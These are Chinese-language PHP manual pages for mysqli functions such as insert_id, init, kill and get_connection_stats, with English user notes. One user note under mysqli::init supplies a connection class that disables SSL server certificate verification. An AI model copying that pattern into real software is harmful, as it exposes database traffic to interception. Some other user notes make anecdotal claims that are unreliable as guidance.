mysqli::$client_version -- mysqli_get_client_version — 作为整数返回 MySQL 客户端的版本

说明

面向对象风格

int $mysqli->client_version;

过程化风格

mysqli_get_client_version(): int

作为整数返回客户端版本号。

参数

此函数没有参数。

返回值

表示 MySQL 客户端库版本的数字，格式为 main_version*10000 + minor_version *100 + sub_version。例如：4.1.0 返回 40100。

这有助于快速确定客户端库的版本来辨别是否有某些特性存在。

示例

Example #1 mysqli_get_client_version

<?php

/* We don't need a connection to determine
the version of mysql client library */

printf("Client library version: %d\n", mysqli_get_client_version());
?>

参见

  • mysqli_get_client_info() - 获取 MySQL 客户端信息
  • mysqli_get_server_info() - 返回 MySQL 服务器的版本号
  • mysqli_get_server_version() - 作为一个整数返回MySQL服务器的版本

User Contributed Notes

There are no user contributed notes for this page.


返回客户端连接的统计数据

  • ? mysqli::$client_version
  • mysqli::$host_info ?
  • PHP Manual
  • mysqli
  • 返回客户端连接的统计数据

mysqli::get_connection_stats

mysqli_get_connection_stats

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::get_connection_stats -- mysqli_get_connection_stats — 返回客户端连接的统计数据

说明

面向对象风格

public mysqli::get_connection_stats(): array

过程化风格

mysqli_get_connection_stats(mysqli $mysql): array

返回客户端连接的统计数据。

Note:

仅可用于 mysqlnd。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

返回数组，包含连接状态。

示例

Example #1 A mysqli_get_connection_stats() 示例

<?php
$link = mysqli_connect();
print_r(mysqli_get_connection_stats($link));
?>

以上示例的输出类似于：

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

参见

  • 统计说明

User Contributed Notes

vojtech dot kurka at gmail dot com 21-Feb-2019 02:44
Don't forget that "mysqlnd.collect_statistics" must be set to "1" in your ini config to use this method.
ulf dot wendel at phpdoc dot de 11-Jun-2013 01:09
It is not correct that the same information can be obtained from the server. For example, the server will not give you information about client side memory usage.
HockeyInJune 12-Sep-2009 03:13
While this function is only available if you're using the PHP MySQL Native Driver, you can get the same statistics without this function by using the MySQL SHOW STATUS Query.

Use 'SHOW SESSION STATUS;' for statistics about the current MySQL session.

Use 'SHOW GLOBAL STATUS;' for totals since the server was started.

After you have established a connection with the MySQL Server:

<?php
$result = $mysqli->query('SHOW SESSION STATUS;', MYSQLI_USE_RESULT);
while ($row = $result->fetch_assoc()) {
    $array[$row['Variable_name']] = $row['Value'];
}
$result->close();
print_r($array);
?>


返回表述使用的连接类型的字符串

  • ? mysqli::get_connection_stats
  • mysqli::$protocol_version ?
  • PHP Manual
  • mysqli
  • 返回表述使用的连接类型的字符串

mysqli::$host_info

mysqli_get_host_info

(PHP 5, PHP 7, PHP 8)

mysqli::$host_info -- mysqli_get_host_info — 返回表述使用的连接类型的字符串

说明

面向对象风格

string $mysqli->host_info;

过程化风格

mysqli_get_host_info(mysqli $mysql): string

返回由 mysql 参数表示连接的字符串描述（包括服务器主机名）。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

表示服务器主机名和连接类型的字符串。

示例

Example #1 $mysqli->host_info 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* print host information */
printf("Host info: %s\n", $mysqli->host_info);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* print host information */
printf("Host info: %s\n", mysqli_get_host_info($link));

以上示例会输出：

Host info: Localhost via UNIX socket

参见

  • mysqli_get_proto_info() - 返回 MySQL 协议使用的版本号

User Contributed Notes

There are no user contributed notes for this page.


返回 MySQL 协议使用的版本号

  • ? mysqli::$host_info
  • mysqli::$server_info ?
  • PHP Manual
  • mysqli
  • 返回 MySQL 协议使用的版本号

mysqli::$protocol_version

mysqli_get_proto_info

(PHP 5, PHP 7, PHP 8)

mysqli::$protocol_version -- mysqli_get_proto_info — 返回 MySQL 协议使用的版本号

说明

面向对象风格

int $mysqli->protocol_version;

过程化风格

mysqli_get_proto_info(mysqli $mysql): int

返回整数，表示由 mysql 参数表示的连接所使用的 MySQL 协议的版本号。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

返回表示协议版本号的整数。

示例

Example #1 $mysqli->protocol_version 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* print protocol version */
printf("Protocol version: %d\n", $mysqli->protocol_version);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password");

/* print protocol version */
printf("Protocol version: %d\n", mysqli_get_proto_info($link));

以上示例会输出：

Protocol version: 10

参见

  • mysqli_get_host_info() - 返回表述使用的连接类型的字符串

User Contributed Notes

There are no user contributed notes for this page.


返回 MySQL 服务器的版本号

  • ? mysqli::$protocol_version
  • mysqli::$server_version ?
  • PHP Manual
  • mysqli
  • 返回 MySQL 服务器的版本号

mysqli::$server_info

mysqli::get_server_info

mysqli_get_server_info

(PHP 5, PHP 7, PHP 8)

mysqli::$server_info -- mysqli::get_server_info -- mysqli_get_server_info — 返回 MySQL 服务器的版本号

说明

面向对象风格

string $mysqli->server_info;
public mysqli::get_server_info(): string

过程化风格

mysqli_get_server_info(mysqli $mysql): string

返回字符串，表示 MySQLi 扩展连接的 MySQL 服务器的版本号。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

表示服务器版本的字符串。

示例

Example #1 $mysqli->server_info 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* print server version */
printf("Server version: %s\n", $mysqli->server_info);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password");

/* print server version */
printf("Server version: %s\n", mysqli_get_server_info($link));

以上示例的输出类似于：

Server version: 8.0.21

参见

  • mysqli_get_client_info() - 获取 MySQL 客户端信息
  • mysqli_get_client_version() - 作为整数返回 MySQL 客户端的版本
  • mysqli_get_server_version() - 作为一个整数返回MySQL服务器的版本

User Contributed Notes

it-solutions at schultz dot ch 11-Feb-2016 09:46
Please note that this property returns different versionstrings for MariaDB instances on LINUX and WINDOWS environments.

For a MariaDB instance 10.0.17:

on LINUX, this returns strings like "10.0.17-MariaDB-log"
on WINDOWS environments, this returns strings like "5.5.5-10.0.17-MariaDB-log"

To avoid this extra "5.5.5" on windows environments, you could use the SQL query "select version();" rather than this property of the mysqli extension


作为一个整数返回MySQL服务器的版本

  • ? mysqli::$server_info
  • mysqli::get_warnings ?
  • PHP Manual
  • mysqli
  • 作为一个整数返回MySQL服务器的版本

mysqli::$server_version

mysqli_get_server_version

(PHP 5, PHP 7, PHP 8)

mysqli::$server_version -- mysqli_get_server_version — 作为一个整数返回MySQL服务器的版本

说明

面向对象风格

int $mysqli->server_version;

过程化风格

mysqli_get_server_version(mysqli $mysql): int

mysqli_get_server_version() 函数以整数的形式返回连接的 mysql 参数所表述的服务器的版本。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

一个整数表述的服务器版本。

版本号的格式是 main_version * 10000 + minor_version * 100 + sub_version（例如版本 4.1.0 是 40100）。

示例

Example #1 $mysqli->server_version 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* print server version */
printf("Server version: %d\n", $mysqli->server_version);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password");

/* print server version */
printf("Server version: %d\n", mysqli_get_server_version($link));

以上示例的输出类似于：

Server version: 80021

参见

  • mysqli_get_client_info() - 获取 MySQL 客户端信息
  • mysqli_get_client_version() - 作为整数返回 MySQL 客户端的版本
  • mysqli_get_server_info() - 返回 MySQL 服务器的版本号

User Contributed Notes

There are no user contributed notes for this page.


Get result of SHOW WARNINGS

  • ? mysqli::$server_version
  • mysqli::$info ?
  • PHP Manual
  • mysqli
  • Get result of SHOW WARNINGS

mysqli::get_warnings

mysqli_get_warnings

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

mysqli::get_warnings -- mysqli_get_warnings — Get result of SHOW WARNINGS

说明

面向对象风格

public mysqli::get_warnings(): mysqli_warning|false

过程化风格

mysqli_get_warnings(mysqli $mysql): mysqli_warning|false
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

Anonymous 05-Mar-2014 08:36
Take note:
Calling this function will change the output of mysqli_affected_rows if any warnings are returned. So if you're using mysqli_affected_rows in your application, make sure to call it before calling mysqli_get_warnings.
marcus at synchromedia dot co dot uk 19-Aug-2009 02:02
With a bit of rooting about with reflection, I spotted that the mysqli_warning class has a next() function, so I tried calling it and it does indeed progress through the available warnings! Following on from my earlier example:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
$j = mysqli_warning_count($db);
if ($j > 0) {
    $e = mysqli_get_warnings($db);
    for ($i = 0; $i < $j; $i++) {
        var_dump($e);
        $e->next();
    }
}
?>

There is a simple way of traversing the warnings:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
if (mysqli_warning_count($db)) {
   $e = mysqli_get_warnings($db);
   do {
       echo "Warning: $e->errno: $e->message\n";
   } while ($e->next());
}
?>
marcus at synchromedia dot co dot uk 19-Aug-2009 07:13
I'm not sure how useful this function is as implemented. Take this example:

CREATE TABLE `blah` (
  `x` varchar(100) NOT NULL,
  `y` varchar(100) NOT NULL,
  `z` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO blah SET z = '1';
Query OK, 1 row affected, 2 warnings (0.00 sec)

mysql> show warnings;
+---------+------+----------------------------------------+
| Level   | Code | Message                                |
+---------+------+----------------------------------------+
| Warning | 1364 | Field 'x' doesn't have a default value |
| Warning | 1364 | Field 'y' doesn't have a default value |
+---------+------+----------------------------------------+

Doing the same from PHP using mysqli_get_warnings(), you get this instead:

object(mysqli_warning)#4 (3) {
  ["message"]=>
  string(38) "Field 'x' doesn't have a default value"
  ["sqlstate"]=>
  string(5) "HY000"
  ["errno"]=>
  int(1364)
}

i.e. it only returns the first warning. I suspect it should return an array of these objects rather than just one. At least you know what the return value looks like now, since the docs don't say!


返回最近执行的 SQL 语句的信息

  • ? mysqli::get_warnings
  • mysqli::init ?
  • PHP Manual
  • mysqli
  • 返回最近执行的 SQL 语句的信息

mysqli::$info

mysqli_info

(PHP 5, PHP 7, PHP 8)

mysqli::$info -- mysqli_info — 返回最近执行的 SQL 语句的信息

说明

面向对象风格

?string $mysqli->info;

过程化风格

mysqli_info(mysqli $mysql): ?string

mysqli_info() 函数返回一个包含 最近执行的 SQL 语句信息的字符串。 下面有一些参考样例：

mysqli_info 可能的返回值
SQL 语句类型 | 返回结果字符串示例
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

Note:

如果所执行的 SQL 语句不是上面列出来的这几种类型的， mysqli_info() 函数会返回一个空字符串。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

最近执行的 SQL 语句的相关信息。

示例

Example #1 $mysqli->info 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$mysqli->query("CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO ... SELECT */
$mysqli->query("INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", $mysqli->info);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

mysqli_query($link, "CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO ... SELECT */
mysqli_query($link, "INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", mysqli_info($link));

以上示例会输出：

Records: 150  Duplicates: 0  Warnings: 0

参见

  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysqli_warning_count() - Returns the number of warnings from the last query for the given link
  • mysqli_num_rows() - Gets the number of rows in the result set

User Contributed Notes

vzverev [at] newmail.ru (Vasiliy Zverev) 18-May-2017 03:00
If inserted just one row, mysqli_info() returns empty string which might be confusing, but mysqli_affected_rows() returns 1 in this case.
user at biglake dot com 14-Dec-2010 06:43
Might save someone some time...

<?php
$prototype='Rows matched: 0 Changed: 1 Warnings: 2';
list($matched, $changed, $warnings) = sscanf($prototype, "Rows matched: %d Changed: %d Warnings: %d");
?>


初始化 MySQLi 并返回用于 mysqli_real_connect() 的对象

  • ? mysqli::$info
  • mysqli::$insert_id ?
  • PHP Manual
  • mysqli
  • 初始化 MySQLi 并返回用于 mysqli_real_connect() 的对象

mysqli::init

mysqli_init

(PHP 5, PHP 7, PHP 8)

mysqli::init -- mysqli_init — 初始化 MySQLi 并返回用于 mysqli_real_connect() 的对象

说明

面向对象风格

public mysqli::init(): ?bool

过程化风格

mysqli_init(): mysqli|false

分配或者初始化适合 mysqli_options() 和 mysqli_real_connect() 的 MYSQL 对象。

Note:

在调用 mysqli_real_connect() 之前，对其它 mysqli 函数（mysqli_options() 和 mysqli_ssl_set() 除外）的后续调用都会失败。

参数

此函数没有参数。

返回值

mysqli::init() 成功时返回 null， 或者在失败时返回 false。mysqli_init() 成功时返回对象， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 弃用面向对象风格的 mysqli::init() 方法。用 parent::__construct() 替换对 parent::init() 的调用。

示例

参阅 mysqli_real_connect()。

参见

  • mysqli_options() - 设置选项
  • mysqli_close() - 关闭先前打开的数据库连接
  • mysqli_real_connect() - 建立一个 MySQL 服务器连接
  • mysqli_connect() - 别名 mysqli::__construct

User Contributed Notes

Kam.Dab 11-Jun-2023 02:14
I wrote support ssl mysqli you don't need change anymore mysqli connect exchange to your own mysqli . Overwrite __construct mysqli with support ssl can be like that:
<?php class myssl_mysqli extends \mysqli {
        public function __construct($db_host, $db_user, $db_pass, $db_name, $port, $persistent = true, $ssl = false, $certpublic = "") {
            if($ssl) {
        parent::init();
                parent::options(MYSQLI_OPT_SSL_VERIFY_SERVER_CERT, false);
        parent::ssl_set(NULL, NULL, $certpublic, NULL, NULL);
            parent::real_connect(($persistent ? 'p:' : '') . $db_host, $db_user, $db_pass, $db_name, $port, '', MYSQLI_CLIENT_SSL | MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT );
            } else {
                 parent::__construct($db_host, $db_user, $db_pass, $db_name, $port);
            }
}
$db = new myssl_mysqli('localhost','user', 'pass','db', '3306', true, true, '/home/mypublicowncert.pem');
?>
in this example i off the verificate cert by authority ssl, due it own cery created
evgen at sysmasters dot net 21-Feb-2022 08:41
Correct way to connect db

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("127.0.0.1", "db_user", "db_pass", "db_name",3306);

$result = $mysqli->query("SELECT somefield1, somefield2 FROM sometable ORDER BY ID LIMIT 3");

/* Close the connection as soon as it becomes unnecessary */
$mysqli->close();

foreach ($result as $row) {
    /* Processing data received from the database */
echo var_dump ($row);
}


返回上次查询为 AUTO_INCREMENT 列生成的值

  • ? mysqli::init
  • mysqli::kill ?
  • PHP Manual
  • mysqli
  • 返回上次查询为 AUTO_INCREMENT 列生成的值

mysqli::$insert_id

mysqli_insert_id

(PHP 5, PHP 7, PHP 8)

mysqli::$insert_id -- mysqli_insert_id — 返回上次查询为 AUTO_INCREMENT 列生成的值

说明

面向对象风格

int|string $mysqli->insert_id;

过程化风格

mysqli_insert_id(mysqli $mysql): int|string

返回有 AUTO_INCREMENT 属性的表执行 INSERT 或 UPDATE 查询生成的 ID。对于多行 INSERT 语句，返回成功插入的第一个自动生成的值。

使用 LAST_INSERT_ID() MySQL 函数执行 INSERT 或 UPDATE 语句也会修改 mysqli_insert_id() 返回的值。如果使用 LAST_INSERT_ID(expr) 生成 AUTO_INCREMENT 的值，将返回最后 expr 的值而不是生成的 AUTO_INCREMENT 值。

如果之前的语句没有修改 AUTO_INCREMENT 的值，则返回 0。mysqli_insert_id() 必须在生成值的语句之后立即调用。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

上一个查询更新的 AUTO_INCREMENT 字段的值。如果连接上没有之前的查询或者查询没有更新 AUTO_INCREMENT 值。则返回 0。

只有使用当前连接发出的语句才会影响返回值。该值不受使用其它连接或客户端发出的语句的影响。

Note:

如果数字大于最大 int 值，将以字符串返回该值。

示例

Example #1 $mysqli->insert_id 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$mysqli->query("CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
$mysqli->query($query);

printf("New record has ID %d.\n", $mysqli->insert_id);

/* 删除表 */
$mysqli->query("DROP TABLE myCity");

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

mysqli_query($link, "CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
mysqli_query($link, $query);

printf("New record has ID %d.\n", mysqli_insert_id($link));

/* 删除表 */
mysqli_query($link, "DROP TABLE myCity");

以上示例会输出：

New record has ID 1.

User Contributed Notes

jpage at chatterbox dot fyi 22-Mar-2023 06:50
What is unclear is how concurrency control affects this function.   When you make two successive calls to mysql where the result of the second depends on the first,  another user may have done an insert in the meantime.

The documentation is silent on this, so I always determine the value of an auto increment before and after an insert to guard against this.
adrian dot nesse dot wiik at gmail dot com 18-Jan-2023 10:05
If you try to INSERT a row using ON DUPLICATE KEY UPDATE, be aware that insert_id will not update if the ON DUPLICATE KEY UPDATE clause was triggered.

When you think about it, it's actually very logical since ON DUPLICATE KEY UPDATE is an UPDATE statement, and not an INSERT.

In a worst case scenario, if you're iterating over something and doing INSERTs while relying on insert_id in later code, you could be pointing at the wrong row on iterations where ON DUPLICATE KEY UPDATE is triggered!
mmulej at gmail dot com 02-Feb-2021 03:39
There has been no examples with prepared statements yet.

```php
$u_name = "John Doe";
$u_email = "johndoe@example.com";

$stmt = $connection->prepare(
    "INSERT INTO users (name, email) VALUES (?, ?)"
);
$stmt->bind_param('ss', $u_name, $u_email);
$stmt->execute();

echo $stmt->insert_id;
```

For UPDATE you simply change query string and binding parameters accordingly, the rest stays the same.

Of course the table needs to have AUTOINCREMENT PRIMARY KEY.
www dot wesley at gmail dot com 26-May-2019 03:54
When using "INSERT ... ON DUPLICATE KEY UPDATE `id` = LAST_INSERT_ID(`id`)", the AUTO_INCREMENT will increase in an InnoDB table, but not in a MyISAM table.
drburnett at mail dot com 19-Jan-2017 03:35
msqli_insert_id();
This seems to return that last id entered.
BUT,  if you have multiple users running the same code, depending on the server or processor I have seen it return the wrong id.

Test Case:
Two users added an item to their list.
I have had a few times where the id was the id from the other user.
This is very very rare and it only happens on my test server and not my main server.

I am guessing it is because of multicores (maybe hyperthreading) or how the operating system handles multi-threads.

It is rare, but it happens.
owenzx at gmail dot com 06-Sep-2013 02:54
The example is lack of insert_id in multi_query. Here is my example:
Assuming you have a new test_db in mysql like this:

create database if not exists test_db;
use test_db;
create table user_info (_id serial, name varchar(100) not null);
create table house_info (_id serial, address varchar(100) not null);

Then you run a php file like this:

<?php
define('SERVER', '127.0.01');
define('MYSQL_USER', 'your_user_name');
define('MYSQL_PASSWORD', 'your_password');

$db = new mysqli(SERVER, MYSQL_USER, MYSQL_PASSWORD, "test_db", 3306);
if ($db->connect_errno)
  echo "create db failed, error is ", $db->connect_error;
else {
  $sql = "insert into user_info "
    . "(name) values "
    . "('owen'), ('john'), ('lily')";
  if (!$result = $db->query($sql))
    echo "insert failed, error: ", $db->error;
  else
    echo "last insert id in query is ", $db->insert_id, "\n";
  $sql = "insert into user_info"
    . "(name) values "
    . "('jim');";
  $sql .= "insert into house_info "
    . "(address) values "
    . "('shenyang')";
  if (!$db->multi_query($sql))
    echo "insert failed in multi_query, error: ", $db->error;
  else {
    echo "last insert id in first multi_query is ", $db->insert_id, "\n";
    if ($db->more_results() && $db->next_result())
      echo "last insert id in second multi_query is ", $db->insert_id, "\n";
    else
      echo "insert failed in multi_query, second query error is ", $db->error;
  }
  $db->close();
}
?>

You will get output like this:

last insert id in query is 1
last insert id in first multi_query is 4
last insert id in second multi_query is 1

Conclusion:
1 insert_id works in multi_query
2 insert_id is the first id mysql has used if you have insert multi values
bert at nospam thinc dot nl 22-Jul-2008 08:58
Watch out for the oo-style use of $db->insert_id. When the insert_id exceeds 2^31 (2147483648) fetching the insert id renders a wrong, too large number. You better use the procedural mysqli_insert_id( $db ) instead.

[EDIT by danbrown AT php DOT net: This is another prime example of the limits of 32-bit signed integers.]
Nick Baicoianu 04-May-2007 01:10
When running extended inserts on a table with an AUTO_INCREMENT field, the value of mysqli_insert_id() will equal the value of the *first* row inserted, not the last, as you might expect.

<?
//mytable has an auto_increment field
$db->query("INSERT INTO mytable (field1,field2,field3) VALUES ('val1','val2','val3'),
('val1','val2','val3'),
('val1','val2','val3')");

echo $db->insert_id; //will echo the id of the FIRST row inserted
?>
will at phpfever dot com 20-Apr-2006 06:40
I have received many statements that the insert_id property has a bug because it "works sometimes".  Keep in mind that when using the OOP approach, the actual instantiation of the mysqli class will hold the insert_id.

The following code will return nothing.
<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$result->insert_id;
}
?>

This is because the insert_id property doesn't belong to the result, but rather the actual mysqli class.  This would work:

<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$mysqli->insert_id;
}
?>
alan at commondream dot net 03-Nov-2004 11:44
I was having problems with getting the inserted id, and did a bit of testing. It ended up that if you commit a transaction before getting the last inserted id, it returns 0 every time, but if you get the last inserted id before committing the transaction, you get the correct value.


让服务器杀死一个 MySQL 线程

  • ? mysqli::$insert_id
  • mysqli::more_results ?
  • PHP Manual
  • mysqli
  • 让服务器杀死一个 MySQL 线程

mysqli::kill

mysqli_kill

(PHP 5, PHP 7, PHP 8)

mysqli::kill -- mysqli_kill — 让服务器杀死一个 MySQL 线程

说明

面向对象风格

public mysqli::kill(int $process_id): bool

过程化风格

mysqli_kill(mysqli $mysql, int $process_id): bool

本函数可以用来让服务器杀掉 process_id 参数指定的 MySQL 线程。必须通过调用 mysqli_thread_id() 函数来检索该值。

要停止正在运行的查询，应该使用 SQL 命令 KILL QUERY processid。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::kill() 示例

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 检查连接是否成功 */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

/* 获得连接对应的线程 ID */
$thread_id = $mysqli->thread_id;

/* 杀掉连接 */
$mysqli->kill($thread_id);

/* 下面的代码应该会发生错误 */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
printf("Error: %s\n", $mysqli->error);
exit;
}

/* 关闭连接 */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 检查连接是否成功 */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

/* 获得连接对应的线程 ID */
$thread_id = mysqli_thread_id($link);

/* 杀掉连接 */
mysqli_kill($link, $thread_id);

/* 下面的代码应该会发生错误 */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
printf("Error: %s\n", mysqli_error($link));
exit;
}

/* 关闭连接 */
mysqli_close($link);
?>

以上示例会输出：

Error: MySQL server has gone away

参见

  • mysqli_thread_id() - 返回当前连接的线程 ID

User Contributed Notes

There are no user contributed notes for this page.


检查批量查询中是否还有查询结果

  • ? mysqli::kill
  • mysqli::multi_query ?
  • PHP Manual
  • mysqli
  • 检查批量查询中是否还有查询结果

mysqli::more_results

mysqli_more_results

(PHP 5, PHP 7, PHP 8)

mysqli::more_results -- mysqli_more_results — 检查批量查询中是否还有查询结果

说明

面向对象风格

public mysqli::more_results(): bool

过程化风格

mysqli_more_results(mysqli $mysql): bool

